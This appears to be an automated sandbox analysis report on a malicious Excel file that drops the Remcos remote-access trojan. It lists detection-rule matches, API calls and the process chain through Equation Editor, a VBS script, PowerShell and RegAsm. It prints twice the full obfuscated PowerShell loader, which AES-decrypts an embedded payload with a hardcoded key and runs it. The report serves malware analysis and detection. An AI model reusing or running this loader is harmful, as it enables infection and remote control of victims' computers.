                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
                Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winXLS@9/36@8/6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,12_2_00417952
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,12_2_0040F474
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,12_2_0041B4A8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\47730000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-9R4HLX
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRA6E8.tmpJump to behavior
                Source: PI-002312.xlsOLE indicator, Workbook stream: true
                Source: 47730000.0.drOLE indicator, Workbook stream: true
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS"
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....h.......p.......$.......0I..............................................T..........s............Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....h.......p.......$.......<I......................................8...............................Jump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: PI-002312.xlsReversingLabs: Detection: 21%
                Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS"
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
